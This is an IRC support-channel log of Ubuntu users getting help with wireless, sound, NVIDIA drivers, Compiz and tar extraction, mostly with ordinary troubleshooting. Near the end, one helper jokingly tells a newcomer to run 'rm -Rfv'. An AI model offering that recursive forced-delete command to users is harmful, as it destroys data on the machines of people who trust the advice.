Hello all... having trouble installing Ubuntu? Consider purchasing a computer with Ubuntu preinstalled and has telephone technical support. Help support the Ubuntu community by planning purchases from companies that support Ubuntu. :-) [05:43] danloz: so ~ is /home// [05:43] mark__: that's what I suspected. And, additions to groups aren't effected until the next login. [05:43] thanks proqesi [05:43] who here said they have used avant window navigator? [05:43] Hello. I'm having some problems with java. A certain java applet won't load. I'm thinking it may be that I haven't accepted that site. Usually if I try to use that applet on a computer that has never used it, a window pops up where I can authorize it. no such pop up occurs. How can I manually allow it? [05:43] Now, should I enable the firmware before I go through the "no fluff" process? [05:44] yes cabrioleur your correct , :) this is why we are brothers [05:44] Im trying to figure out (I know its like... stupid and pointless but still... i would like to see how well it worked) how to get it so you could toss the icons around from the bar, Ive seen videos and people do it at lans... its really neat >.> [05:44] proqesi: ok i did what the forum told me if all goes well i will get sound [05:44] Let me rephrase that. Is the restricted driver being enabled a prerequsite for installing a driver via NDISwrapper? [05:44] so you said i just launch the .exe [05:44] but when i tried [05:44] it tells me it could not display it [05:44] nik_ Your sound might very well be muted. [05:45] desertc: he can't start alsamixer, so I doubt it [05:45] nik_: What does "aplay -l " say ? [05:45] im running ubuntu with gnome. is it a big deal to install kde ? [05:46] danloz, no [05:46] proqesi: alsamixer might just not be identifying the default card correctly [05:46] I've got emerald installed, but I want to use metacity as default (while still keeping emerald on the system in case I want to switch again). How can I make metacity the default? [05:46] how can I easily determine a safe place to write a file that will be easy to find by a user later on, without prompting them? [05:46] can i install it from the software updater ? [05:46] Cabrioleur: I hope you're right. I don't want to brick the laptop again:) [05:46] phoul: cairo-dock is somewhat like the app you talking about. I forget the name of the app where the icons fly off the taskbar and bounce around before returning [05:46] shall I use a hidden file in their home dir? i.e. "~/.myapp.txt" [05:46] Onyx, hit alt+F2 metacity --replace [05:46] no no [05:46] I don't think that'll work for me because root doesn't have a home dir, frequently [05:46] Onyx, forget that [05:46] danloz, restricted drivers have nothing to do with it as ndiswrapper comes with it's own module not related to anything. But don't rash restricted-drivers!!! [05:46] ablyss: Agreed... so mkdir ~/blah is current users base folder Inmy case /home/jack/blah [05:46] ablyss, i think it was avant =\ [05:46] Oh, the bouncy dock was Kiba-dock. [05:47] Blur: Just put it in your home and make it readable by all [05:47] Onyx, hit alt+F2 gtk-window-decorator --replace [05:47] danloz: if you brick a laptop, it means you destroyed it so bad you have to throw it away [05:47] coz_: Heh, yeah, I did that and emerald came back the next time I started up gdm [05:47] Has it been abandoned? I haven't heard about it in a while. [05:47] what if I'm expecting this script to be put in cron jobs? [05:47] Onyx, oh I see ok are you on gutsy or feisty? [05:47] coz_: Gutsy [05:47] Onyx, are you using fusion icon? [05:47] grrr.. installed WICD and now uninstalled (didn't help with wireless). How do I get the network tray icon to reappear? [05:47] phoul: avant doesn't ring a bell [05:47] DanaG: People come and go, try to put as much detail into your messages as possible so others can help you [05:47] http://pastebin.ca/852955 [05:47] DAMNABLE. Still telling me that NDISwrapper is not installed [05:48] coz_: No. I just ran the 2nd command you posted -- I meant I'd tried the first one you gave me. [05:48] but it is installed. I just installed it. [05:48] please check that [05:48] Jack_Sparrow: cool [05:48] coz_: So this should make it the default now? [05:48] danloz, you are trying to push too hard. [05:48] desertc: note that he quit. [05:48] danloz: are you on gutsy? [05:48] danloz, check whereis ndiswrapper to see where it is. [05:48] does anyone here know if there are any .flv players for Ubuntu? [05:48] DanaG, Yippee - almost! I can scroll but when I lift my finger, it scrolls back, to the side or somewhere else - sometimes. Is that something you've seen? [05:48] noogen: yes [05:48] is there a disk partation program in ubuntu?? [05:48] luis: several, vlc for one [05:48] luis, mplayer, xine, flashplayer. [05:48] Onyx, no but if you go into ccsm under the window decorations plugin and in the Commnad field you can put gtk-window-decorator --replace as the command [05:48] crimsun: you must have fixed it for him, if he quits without saying thank you, right? [05:49] guys have a look at my desktop theme's http://www.picoodle.com/view.php?img=/5/12/17/alsheeba/f_newDesktopm_3888ac3.png&srv=img30 [05:49] any of them come with ubuntu? [05:49] danloz: and you are trying to install bcm43xx driver? [05:49] luis, Can't totem do that? [05:49] lol [05:49] Hello, I always get great support on this IRC so i thought i would come here to ask for help [05:49] Anyone know how to get the network tray icon to appear at start? WICD took it away [05:49] desertc: I didn't do anything; he followed $random forum post. [05:49] luis: sudo apt-get install vlc [05:49] Whereis Ndiswrapper returns: "NDISWRAPPER:" [05:49] Noogen: Yes. [05:49] crimsun: gotcha. ;-) [05:49] well, I have a .flv file on my desktop and it won't get it, :( [05:49] thanks proquest [05:49] danloz: have you try - https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx/Gutsy [05:49] ? [05:49] please check that http://pastebin.ca/852955 [05:49] luis: "it won't get it" << try to be more descriptive [05:49] phoul: it is called kiba-dock [05:49] I'll have to test it. I'm now on Hardy, so I don't remember which version of the driver fixed scrolling behavior. [05:50] won't play it, won't recognise it [05:50] how can i resize my disk partation in ubuntu?? [05:50] Does anyone know how to get the network tray icon to appear (I installed WICD and it's gone now) [05:50] coz_: I've got cssm opened up now, but I don't see where to put that command in.

[05:50] There are three possible causes for this error: [05:50] 1. Your video card is too old [05:50] 2. You haven't installed the latest available drivers [05:50] 3. You haven't installed the latest DirectX version [05:50] or, the .flv file I mean [05:50] scarlet: dvdnav ? [05:50] abdulla, nice desktop. good use of widgets. [05:50] but, I think it may have been something with the .flv file not downloading correctly [05:50] Onyx, no problem under the window decorations plugin under the Effects catagory [05:50] and here is another Great theme http://www.picoodle.com/view.php?img=/5/12/17/alsheeba/f_NewDesktop2m_715b7da.png&srv=img36 [05:50] Oh and sorry for leaving earlier Family Alert Some 1 in hospital [05:51] DanaG, Ah so it's a known problem?

[05:51] Onyx, give that try and see if that works [05:51] Hey, I just got a new hard drive & put a bunch of stuff on it .. it started freezing on me when I tried to access it, so I ran fsck. I've been getting stuff similar to this: Error reading block 23396353 (Attempt to read block from filesystem resulted in short read) while reading inode and block bitmaps. Ignore error? yes [05:51] Force rewrite? yes [05:51] Literally all day [05:51] DanaG, and a recent one?

[05:52] thanks FYI [05:52] ok i was stupid and installed an nvidia linux driver from their website for my geforce 5200 FX but then my computer started messing up so i went through a buncha trouble to get rid of it and reconfigured X but now when i try to enable or install nvidia-glx-new again it will boot in safe graphics mode and not work [05:52] Cleanser23: you could always reinstall the OS in the worst case, remember to back up your /home [05:52] Noogen: The restricted driver doesn't work. I just tried the one that came with the install and the colonel keeps throwing errors out. [05:52] could someone please check that http://pastebin.ca/852955 [05:52] yes i know, the one come with install doesn't work [05:52] desertc, i really dont wanna do that i have a ton of stuff and going through all that crap will just suck [05:52] so i finally got alsa mixer to recognize my card, but i still can't get any sound. Any suggestions [05:52] Onyx, if you want a less hectic place to ask about compiz fuson I would suggest #compiz-fusion :) [05:52] Noogen: So this is a different one? [05:52] desertc, any other suggestions? [05:52] I'm looking to find that xorg update. [05:53] yep [05:53] Cleanser23: make a backup before you modify your kernel next time? [05:53] how to create launcher for epiphany in cairo-dock [05:53] what is the kernel version now destertc? [05:53] i will just restore the old one [05:53] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=411266 [05:53] Cleanser23, yes, probably your drivers are not matching module. Check log for it. [05:53] DanaG, thanks! [05:53] danloz: note on the page - "The firmware code is still not distributed with Ubuntu and must be downloaded and extracted before bcm43xx will work." [05:54] Pirate-King: Are you trying to run something with wine? [05:54] xfree86-driver-synaptics (0.14.7~git20070517-1) unstable; urgency=low [05:54] and the installer should have automaticly backed it up so how do i put the old one bak desertc [05:54] Cleanser23: try reinstalling any packages you may have removed [05:54] What version do you have? [05:54] which among the stage1.5 would be used if my / filesystem is ext3 ? am getting an error Grub 15 .. there are like under /boot/grub/FSNAME_stage1_5, I suspect e2fs_stage1_5 [05:54] how do i check my log, im a little new [05:54] nope just mplayer no wine here [05:54] It looks like it's post-Gutsy. [05:54] proqesi, thanks [05:54] Cleanser23-> most logs are in /var/log [05:54] Cleanser23: who can say what the NVIDIA installation program did when you ran it with sudo? [05:55] what do I do jack [05:55] desertc, it creates a log. [05:55] desertc, it can it says it makes backups and stuff [05:55] Pirate-King: How did you install mplayer? [05:55] https://bugs.launchpad.net/ubuntu/+source/xfree86-driver-synaptics/+bug/179638/+viewstatus [05:55] Someone, please help. HOW do I get the network-applet tray icon to reappear? [05:55] im pretty sure it would back up something like a kernel destertc [05:55] Noogen: What's the risk level trying this? [05:55] right??? [05:55] can i install kde 4.0 from the software updater ? [05:55] And do I need to unblacklist bm43xx? [05:55] or rather, https://bugs.launchpad.net/ubuntu/+source/xfree86-driver-synaptics/+bug/179638 [05:55] FYI: add to panel [05:55] towlie: No.. and if you do install it manually.. be sure to have a full backup [05:55] sudo apt-get install mplayer [05:56] danloz: lower than it would with ndiswrapper [05:56] anyone used rssowl? doesn't seem to be in Ubuntu repos === maniezzzzzzzzzzz is now known as maniezzzzzzz [05:56] desertc: not that, the one that starts by default [05:56] hunchybunch, hello again, I double-checked but that 'salmon' is still there, just befoire the login screen [05:56] ubuntu rssowl [05:56] Cleanser23, nvidia from the website are not touching the kernel, only module. If the module exists, then it cannot do even this. The problem is that ubuntu comes with nvidia module regardles if drivers are there or not. [05:56] danloz: mine was a server installation so the server install instruction was very straight forward [05:56] FYI: Right click on the panel and select Add to Panel. [05:56] the one that WICD facking removed and didn't put back after I uninstalled [05:56] Oh yeah, if you wanna' disable Emerald, there are two ways: [05:56] coz_: ? [05:57] cabrioleur, do you know how i can repair the module then? [05:57] edit /usr/bin/compiz to make it not use emerald (it's a variable), or chmod -x `which emerald` (makes it not executable). [05:57] DanaG, xfree86 and xorg are different projects afaik - but they share that kind of drivers? [05:57] Cleanser23, you can for instance remove nvidia.ko manually, and then install any of the drivers (I recommend the website, as they are more polished) [05:57] mosno, sorry I was trying to type in google hold on :) [05:57] danloz: since server environment doesn't have restircted enable, it was basically no risk [05:57] The package name changed, Ithink. Ithink that's all. [05:57] coz_: i can't believe i didn't do that [05:57] * mosno slaps himself [05:57] I still can't believe I've gotten away with calling the "kernel" the "colonel" twice in this room. [05:57] which among the stage1.5 would be used if my / filesystem is ext3 ? am getting an error Grub 15 .. there are like under /boot/grub/FSNAME_stage1_5, I suspect e2fs_stage1_5 ?? [05:57] N00gen: I just ran the deb [05:57] so I use the mount command like so "sudo mount -t cifs -o username=xxx,password=xxx //whatever/what /mnt/whatever and it works fine [05:58] but then I add the line to fstab and reboot and hte machine locks up after about 2 mins? [05:58] cabrioleur, i am kinda of afraid to do that cuz i cant find the right driver for an Nvidia geforce 5200 fx and i dont know where the .ko module files are [05:58] danloz: made me smile at least. :) === slestak is now known as slestak|away [05:58] Desertc: What's the fun of being a n00b if you can't say stuff like that? [05:58] danloz: I agree! [05:58] Cleanser23, "find / | grep nvidia.ko" will tell you where it is. Should be /lib/modules/2.6something [05:59] Cleanser23, don't be scared. :-) [05:59] cabrioleur, and your sure that this will make it so i can reinstall nvidia glx??? [05:59] mosno, i am not finding much but you may have to compile this http://linux.softpedia.com/progDownload/RSSOwl-Download-1099.html [05:59] coz_: christ, it's a java application, forget i asked [05:59] coz_: That didn't do the trick unfortunately [05:59] :( [05:59] mosno, oh i see [05:59] Onyx, mmm [05:59] Cleanser23, if you want to make sure check xorg.log. At some point it should say what's the problem. [05:59] coz_: thanks anyway [06:00] mosno, no problem sorry I couldnt help [06:00] Hello. I'm having some problems with java. A certain java applet won't load. I'm thinking it may be that I haven't accepted that site. Usually if I try to use that applet on a computer that has never used it, a window pops up where I can authorize it. no such pop up occurs. How can I manually allow it? [06:00] thanks cabrioleur [06:00] Cleanser23, 95% of cases is the version mismatch. [06:00] Noog: I ran the deb. I installed from a local file. We have a wifi blue light [06:00] Onyx, how are you starting compiz fusion again?

I'll wait for Hardy (this is a machine I use for studying so I can't afford having an unstable distro...)

[06:06] how do i upgrade? just hope someone updates the repos? [06:06] * mosno manually browses /var/lib/debtags and cries in the corner [06:06] Invert314: the official ubuntu packages are not always the same version as the bleeding edge [06:06] heh [06:07] i remember doing an update on my packages yesterday... [06:07] anybody have any guesses on this? [06:07] Invert314: That is fairly typical. The Ubuntu version does not use the newest version. The Ubuntu version goes through 4-6 months of testing before it is approved. [06:07] from here is how I installed it http://www.ubuntugeek.com/install-mplayer-and-multimedia-codecs-libdvdcss2w32codecs-in-ubuntu-710-gutsy-gibbon.html [06:07] proqesi, the currrent ubuntu pacakge for pitivi is buggy, there is a fix in the bleeding edge version, though [06:07] dan: try the troubleshooting section, try scanning several time - i had to scan several time before some show up [06:07] is there any application to trace what is happening since i login my account until session finishes loading?

What was wrong with mplayer from official sites [06:08] hello, I have been running gutsy on my laptop for about 3 weeks now, my laptop is a dell xps m1530, everything has been working great including cpu scaling... well yesterday I tried to upgrade my nVidia driver to the latest from nvidia.com, and that broke cpu scaling. [06:09] beta? i thought it was alpha? [06:09] FYI: I'm trying Noogen's alternate firmware thing. [06:09] I went back to drive in apt, and scaling still isn't working... any ideas?

[06:12] kaboombob: I'm not seeing anything here.. not even authorities that my browser is trusting... [06:12] Pirate-King: You can try installing mplayer with synaptic.. but itis hit or miss once you try to install it from outside the repos [06:12] I'm trying to manually install firefox32, since I have 64bit, and when I try and extract the tar.gz file I get an error. any ideas? (I can't extract other tar.gz files as well) [06:12] trying to connect...... [06:12] Nothing. FAIL. [06:12] ok [06:12] WPA shared key or WPA radius?

Anybody have a solution, its very annoying! [06:12] jay2xra dang ive reinstalled firefox even and that didnt do anything for me [06:13] drgonzo00000: You set all the channels to 100%? And no sound?

[06:13] yes [06:13] none [06:13] desertc : I need a java plugin that, according the the ubuntu java help page, is not available for 64. [06:13] drgonzo00000: Are your speakers turned on? Try a pair of headphones in the port, instead. [06:13] FYI, Noog: I'm going to try the trouble shooting stuff [06:13] jay2xra i can tell you what i have if you can figure out how to get them into your certificates [06:13] i've tried headphones and speakers [06:13] Im sure your tired of me by now i just have one last question for the day... whats the proper command to shut down a computer [06:14] thinman1189: Hmm - I don't use too much java. Just javascript. Not open source software, you know... [06:14] so anyone know how to fix cpu_scaling? It was working and then I changed nvidia driver, that appears to have broke it. [06:14] kaboombob: yeah, did that too... no dice.. about to install another browser... [06:14] shutdown -h now ... computers really seem to hate [06:14] sudo halt [06:14] proqesi, where do i go to add patches, cvs builds and other repositories?

[06:15] desertc : yeah I know. I love java but I hate that sun has problems with open source. but I can't extract any other tar.gz file, so either my command is wrong or something is wrong with a setting somewhere. [06:15] aslan, like... seriously freaks out, I get all these driver errors then -poof- off [06:15] lol [06:15] luchador|bbl, you have installed the proper video card drivers for whatver card you have?

[06:17] the troubleshooting section takes care of most basic issues.. Is it hdaintel ? [06:17] anyone know what the equivelant of libnss3 is for fiesty [06:17] Dr_willis, really, figures. It worked perfectly fine in feisty. Do you think a clean reinstall might fix the issue (since I upgraded from feisty)? [06:17] drgonzo00000: Look up [06:17] thinman1189, opensolaris is open source. It's just different licence, and couple more rules. [06:17] #kubuntu [06:17] i only do clean reinstalls Collembolla . and ive ditched all ATI video cards that i can. :) [06:17] jack_sparrow yes it is an hda-intel [06:17] back to NDISwrapper I go after i smoke. Stay tuned kids - Danloz will burn an ubuntu install yet. [06:17] !hdaintel [06:17] For fixing your Intel HDA sound this page has useful information https://help.ubuntu.com/community/HdaIntelSoundHowto [06:17] :) [06:18] kaboombob: haha, 113MB for konqueror install... any other lighter browser you know? [06:18] Dr_willis, I'm on a laptop unfotunately with an integrate card.:( I might just try that reinstall, I need my porn. [06:18] cabrioleur : yes but you don't see them going out of their way to help the open source community [06:18] jay2xra, dillo, lynx, links, elinks. [06:18] ok that last bit was a joke [06:19] Jack_Sparrow How would i Enable Direct Rendering Need it for somthing else now lol [06:19] Jack_Sparrow: You are a well of knowledge! :-) [06:19] desertc : any idea why I can't extract tar files? [06:19] thinman1189, there is no rules in business. I see canonical messing around as well. [06:19] cabrioleur : how so? [06:19] any gamers here [06:19] thinman1189: Are they corrupted? [06:19] ugh, HdaIntelSoundHowto is broken. [06:19] cambrioleur: haha, text browser... better than nothing... at least they support https.. good thing you reminded me of them.... [06:19] you do _not_ need to upgrade alsa-utils and alsa-lib [06:19] thinman1189, not on this channel. I'll get a ban :-) [06:19] I seldom come in here on weekends.. always during the week... [06:19] luchador|bbl: Everyone is a gamer, in their own way [06:20] k fps gamer [06:20] cabrioleur : lol, pm me if you wish to discuss it, then. [06:20] who uses ubuntu [06:20] I have a core 2 Quad (being built. final parts pending) and am concerned about the heat-sink not sitting properly. onto the motherboard [06:20] alrighty [06:20] crimsun: what is broken about it.. it comes up for me [06:20] desertc : it's the firefox download for linux, from their site. it gives me a funky error message in terminal. [06:20] Jack_Sparrow: 01:19 < crimsun> you do _not_ need to upgrade alsa-utils and alsa-lib [06:21] FYI: i'm going to try ndiswrapper again [06:21] thinman1189: you need to install it with aptitude, you may have the wrong version [06:21] hello, has anyone ran Linux VServer on gutsy gibbon (as a host) ? [06:21] proqesi : I'm following the instructions found here : https://help.ubuntu.com/community/AMD64/FirefoxAndPlugins [06:21] the deb fwcutter method that noog was talking abot didn't work. It got the card running and recognized - but scans come back no go [06:22] crimsun: I know people that have used that page in the last 24hours and got theirs working.. I will check it on monday just in case. [06:22] How do I check to see what is lagging my system? [06:22] Jack_Sparrow: the culprit is alsa-driver (I should know as I've worked on it for years), not alsa-lib or alsa-utils. [06:22] I tried "top" [06:23] thinman1189: in my experience that is pretty hard. you may need to do a lot of troubleshooting. flock installed easily for me [06:23] ksoftirqd is using lots of cpu, what is that [06:23] nop. No I won't. Still can't find NDIS wrapper. [06:23] hello everybody. I am looking for a database interface, a la MS Access, that allows straightforward construction of small DB applications. Any ideas? [06:23] Jack_Sparrow: I still think we need a script or a tool from ALSA called: "Not_Muted.sh" so people can be sure ALSA hasn't muted their sound / mic [06:23] crimsun: Do you have a link or a writeup on it... You can also walk him through getting his to work [06:24] whereis returns: /etc/ndiswrapper /usr/share/man/man8/ndiswrapper.8.gz but doesn't do anything. [06:24] desertc: we're addressing that via known-working asound.states for various codecs. [06:24] kauer: mySQL is what you want [06:24] desertc: look for it in 8.04. [06:24] How do I stop ksoftirqd from using 100% cpu? [06:24] proqesi : well this isn't the only time I haven't been able to extract a tar file. I can't extract any, and I always get the same error message. I'm probably just doing something wrong. [06:24] !pastebit [06:24] Sorry, I don't know anything about pastebit - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [06:24] !pastebin [06:24] pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic) [06:24] crimsun: I tip my hat to your efforts. [06:24] Anybody have any gueses? [06:24] fyi, you could try ps -e [06:24] thinman1189: tar -xvzf? [06:24] to find out what its id is [06:24] and then try kill -15 [06:25] if that doesn't work, try kill -9 [06:25] kaboombob: i just installed links2... it's working fine on https website... [06:25] the process id [06:25] this is all in terminal, by the way [06:25] goodnight people...play nice [06:25] proqesi : http://paste.ubuntu-nl.org/51743/ [06:25] Jack_Sparrow: I helped write that how-to; I've maintained the alsa packages for years. Plenty of people get their sound working only by updating the -driver. That's the proper way. [06:26] crimsun: Perhaps someone should re-write that page... [06:26] proqesi : from the command: tar -zxf firefox-2.0.0.7.tar.gz [06:26] hey here's a question for someone/the void, why when i compile something using c++/sdl does it only work on some windows systems? [06:26] ira_gershwin: it's ksoftirqd [06:26] thinman1189: try what I showed you [06:26] Jack_Sparrow: hence why I mentioned it being "broken" :) [06:26] ira_gershwin: it sounds important [06:26] crimsun: Do you hava link for updating the driver? [06:26] thinman1189, do xzvf, it will tell you more. [06:27] thinman1189: you need -xvf for .tar, -xzvf for tar.gz, and -xjf for tar.bz2 [06:27] FYI: try googling the process name and see what comes up, i often do this to find out what the process really is [06:27] I just got a brand new Desktop PC and was trying to load the Ubuntu Live session.... however I get this error after the Ubuntu boot menu: Kernel panic - not syncing: IO-APIC + timer doesn't work. [06:27] FYI: actually in your system manager [06:27] any ideas? [06:27] it'll just show you the id number [06:28] ira_gershwin: I did and it says "is aper-cpu kernel thread that runs when the machine is under heavu soft-interrupt load" [06:28] hmm [06:28] FYI: this'll seem like a square thing to say, but try a system restart before you get too worried about it [06:28] Jack_Sparrow: the how-to is fine for -driver. Only -lib and -utils need to be scrubbed from it. [06:28] FYI: i was freaked out when i thought i had a virus, firestarter kept showing this connection that wouldn't go away, turned out yahoo mail just doesn't release properly [06:28] desertc: I want an interface to a database, not the database itself. Or does mySQL include some kind of graphical application builder? Not a simple "see the tables" type interface, but one that allows data to be presented, modified, etc. [06:28] ira_gershwin: I did.. twice. It started after I installed/uninstalled WICD and had to resinstall network-manager [06:29] crimsun: I will make a note and try to get it fixed on Monday.. Thanks.. [06:29] fyi: aah [06:29] Jack_Sparrow: no, thank _you_ [06:29] BRB, rebooting for the 20th time today [06:29] FYI: no, you shouldn't [06:29] kauer: I am not aware of a graphical interface, but I bet there is one available. I am not familiar with the Access product that much. Is it a relational database? [06:29] FYI: if you already did so many times [06:29] i doubt it'll help [06:29] zethero, https://bugs.launchpad.net/ubuntu/+source/linux-source-2.6.22/+bug/54621 [06:30] cabrioleur , proqesi : I do use -xzvf and I get that error message : http://paste.ubuntu-nl.org/51743/ [06:30] zethero1, take a look at this: https://bugs.launchpad.net/ubuntu/+source/linux-source-2.6.22/+bug/54621 [06:30] where are cookies lcoated in ubuntu? [06:30] thanks to everyone who was helping me with my sound card. i got it to work [06:30] kauer: I just checked, it is. So you just need a GUI to mySQL, and I am sure there are some out there. I just don't know of one. [06:30] drgonzo00000: What was it? [06:30] drgonzo00000: glad to hear it [06:30] proqesi, where do i go to add patches, cvs builds and other repositories? [06:30] desertc: MS Access is a truly horrible thing, but it does provide a simple way to build simple DB apps. I'm sure "there is a such a thing", that's why I asked about one :-) [06:30] is there some sort of minimal installer, for ubuntu (somewhat like gentoo's minimal installer) [06:30] one of my lines was in quotes [06:30] Well?

[06:30] musty: what do you mean minimal? if you're looking for a less intense gui there's xubuntu [06:31] thinman1189, your file path is wrong. [06:31] musty: if you're looking for a text-based installer, there's an alternate cd that's text-based [06:31] musty, thers the server isntall. or theres the 'jeos' (just enough os) version. [06:31] hey m8's.... how do I start the computer's sound if it doesn't start upon boot ? is there a command I can render ?

[06:33] congrats! [06:33] lol [06:33] now everything is configured [06:33] drgonzo00000: Glad to hear you're fixed up. Hey... [06:33] anyone else having problems with firefox not being able to browse https after doing software upgrades recently? [06:33] is there another choice besides gnome and kde. Just curious, not gonna switch. [06:33] drgonzo00000: Want some advice you'll thank me for later? [06:34] bkar: Thanks, yes I've tried JDBC and ODBc with OpenOffice and given up. It is either obtuse beyond all reckoning, or broken. Also, JDBC/ODBC are connectors - you still need an application above them. That's what I'm after - some kind of relatively simple application builder for simple (*simple*) DB apps. [06:34] fyi: if it's a real pain you might just want to try reinstalling your operating system without changing your actual files [06:34] it only took about 10 hours to configure wireless, vid card, and sound card [06:34] lol [06:34] ok so it looks like something is really screwed up with my laptop... if I manually modprobe all the cpufreq_scaling* modules then cpu scaling works again.. but it doesn't work on boot [06:34] fyi: i did it once before but i can't remember how now =/ [06:34] ideas? [06:34] ira_gershwin: I've installed/reinstalled ubuntu like 4 times the past few days. first it was nvidia, wifi, trying to work wifi out and ksoftirqd appears :X [06:34] drgonzo00000: Make a backup of that file. Save it in your /home directory, print it out somewhere, save it in a million places, because you'll bump into this again with that computer. [06:34] thinman1189: cd to where the file is. by default, that would be cd ~/Desktop [06:34] i upgraded ubuntu from feisty to gutsy on my hp pavilion zd8000. it now suffers from shutdowns with no warning on a fairly regular basis. i can find nothing in the logs to indicate why it is doing this. is this a know issue? [06:34] aslan: as a workaround, add all the modules to /etc/modules they will load on boot [06:34] kauer well what do you want your app to do really? you seem to be looking for an app as opposed to jdbc connectivity to the db ? [06:34] fyi: oh i went through the nividia thing too, that was a bit of a trial [06:35] alrite well i'm out [06:35] i just wanted to thank everyone for the help === Ashfire is now known as Ashfire908 [06:35] nickrud: ya but I wanna know why it worked, and now it's b0rked.. all I did was change the video card [06:35] =) [06:35] malloc64: Have you checked the bug database? [06:35] drgonzo00000: you're welcome, night [06:35] is there a way in ubuntu to tell when a package was last updated? [06:35] cabrioleur : ok I think it worked. but I don't see where it extracted to [06:35] so in rpm distros you can run rpm -qa --last [06:35] aslan: changelog [06:35] ira_gershwin: I think I figured it out... I installed network-manager (without network-manager-gnome, which presumably 'seals' a leak) [06:35] fyi: you could always try reconfiguring your network settings, maybe something's wonky with them that it's perpetually checking [06:35] desertc: i didn't see anything that was related to my machine or setup [06:35] thinman1189, to the directory where you were typing from. [06:35] fyi: aaah [06:35] aslan: if you used aptitude, you could check it's logs [06:35] BRB restart [06:36] nickrud: ya I used apt-get I'm pretty sure.. are there logs for that? [06:36] if so where are they located? [06:36] asian you may take a look at " dpkg dump " [06:36] malloc64: I've heard of people complaining of things like that in the past, although I never saw it. I guess they never filed a bug against it. [06:36] aslan: /var/log/dpkg [06:37] cabrioleur : for ease I had move it to the desktop but I don't see it there. the next instruction, after moving and renaming is: sudo mv firefox /usr/local/firefox32 but I can't find where it extracted to [06:37] malloc64: Sorry, I don't know the answer. Cool IRC nick, though. Night everyone else. [06:37] hsystemx: ok I looked over that link... but thats is just wayyyy too over my head... and there is no answer in there anyhow... [06:37] cool, and what's the command to find out what package a file comes from? [06:37] dpkg -S ? [06:37] aslan: yeah [06:37] hey guys how do i modify my fstab to do automagic mount --binds [06:37] desertc: is there anywhere i can look for possible causes besides /var? so far i can see that the machine is shutting down (not a surprise), but there is no indication of error or why. [06:37] what do i put for the [06:37] dang, how long has that log been around :0 [06:37] malloc64, monitor your temperature status. [06:37] hrmmm.. doesn't make sense.. ubuntu isn't detecting that my processors can scale now, but it did 2 days ago. [06:38] malloc64, have you checked /var/log/messages /var/log/syslog and also dmesg [06:38] malloc64, use grep to check for errors in thise [06:38] I just got a brand new Desktop PC and was trying to load the Ubuntu Live session.... however I get this error after the Ubuntu boot menu: Kernel panic - not syncing: IO-APIC + timer doesn't work. [06:38] cabrioleur: i have looked at that and it happens when it's been on for 3 minutes or when it's been heavily used for 9 days straight. [06:39] Mornin yall.. [06:39] bkar: yes, I am looking for an application builder. I want some way to easily (preferably via a GUI) construct simple DB applications (read/write/edit/report stuff). Ideally the app builder itself would use (say) JDBC or ODBC rather than be DB-specific.

[06:40] AnRkey: i have looked through all the syslogs by hand as well as any log provided in the gui log reader. i see when it is shutting down, but nothing to indicate why [06:40] AnRkey: but i will look again. i happened about 3 hours ago [06:40] malloc64, have you tried a clean install instead of an upgrade? [06:41] hsystemx: thanks but thats no help [06:41] anyone else got an idea of what to do? [06:41] kauer-> i had no problem using open office jdbc connectors, again why not write your own sql queries and have a ball with the results? [06:41] AnRkey: thoughts on downgrading back to feisty? this never happened once under that system but happened within 5 minutes of upgrading. [06:41] thinman1189: it extracts to the same directory that the archive is in [06:41] bkar: really? What OS, what version of OO? I got nowhere. [06:42] malloc64, thats an idea [06:42] bkar: To be specific, OO kept bailing out (crashing). [06:42] AnRkey: i was hoping to avoid a fresh install of anything, but if that's the path theni suppose i must [06:42] kauer well i have not been using database recently, but as far back as suse 7.1 [06:42] proqesi : so it should be in my home folder? [06:42] can i safely update from 6.06.1 to 7.x [06:42] without fulling installing a new 7.x [06:42] malloc64, you could then test the alpha 5 and release candidates for hardy to make sure it will work when released [06:42] kauer-> crashing in what ways? what were you doing when it was crashing? [06:43] thinman1189: it should be on your desktop [06:43] AnRkey: i have never tried to downgrade, is that possible with apt, or am i looking at popping in the disc and wiping it all? [06:43] luchador|bbl: You'd have to go 6.06 to 6.10 to 7.04 to 7.10. OR you can just wait for a few more months, and upgrade straight from 6.06 to 8.04 [06:43] proqesi : it's not [06:43] malloc64, backup you whole home directory [06:43] i have never downgraded before [06:44] don't think it's possible [06:44] thinman1189: you should have a firefox folder there [06:44] well the thing is [06:44] anyone have a multiple OS boot system in different hard disk and partitions? may you tell me how many entries is your result of "find /boot/grub/stage1 " from boot> command line? [06:44] im getting horrible fps in this game [06:44] and wanna see if 7.x will fix it [06:44] idk why im getting such bad fps [06:44] AnRkey: didn't figure. i was just hoping that might have been an option since these things seem to be a little too common still. [06:45] proqesi : I don't [06:45] thinman1189, you can use find/locate to find it. [06:45] ugh, I really wish I could get amarok to use a gtk theme. [06:45] thinman1189, weird beastie. [06:46] malloc64, no downgrade from what i see [06:46] anyone with multiple os boots? please as sudo root; and in the grub> command line please find /boot/grub/stage1 and tell me how many entries you have? [06:46] thinman1189: what directory was the file in when you extracted it? [06:46] can somebody tell me how to confiugure the background color ? the one that is set up after the splash and just before the login screen ? [06:46] malloc64, i have done quite a few reinstalls in my ubuntu time [06:46] ok, well thanks to AnRkey, desertc, and cabrioleur for your input. hope to see you another time when things are working smoothly. [06:46] and all i do is backup my home directory for each user [06:46] Ok. So. If you install a program, yet the program still comes back uninstalled - what do you do? [06:46] hunchybunch, did'nt succeed with your method, must have don something wrong [06:46] malloc64, good luck :D [06:47] danloz-> installed ? how did you install it? a deb package? [06:47] holly cow! even konqueror is not working on https websites...... [06:47] danloz, sudo apt-get install -f [06:47] proqesi : here's what it extracting in terminal : http://paste.ubuntu-nl.org/51744/ I did in fact find a firefox folder in my home folder, says it was last modified in november. I don't remember putting it there, and I'm not sure if my extracting would have counted as a modification/that was when this version was released. [06:47] AutoMatriX: I think it's a gdm setting [06:47] AnRkey: i have done a few more than i would have liked. but it's the price you pay working with hardware that is not well supported because of jack-hole vendors and manufacturers. :) [06:47] danloz, then try install again [06:47] sudo apt-get install -f? [06:47] bkar: It's a while ago now. As far as I recall, the test connection would work, but any attempt to actually touch the database would cause a crash. What versions are you using? I'm on feisty with OO 2.2.0. [06:47] something's got to have wrong with that software upgrade... [06:47] danloz, if it's not on the installed list if you type "sudo aptitude search name", then rm -Rfv :-) [06:48] AnRkey thanks. good night [06:48] 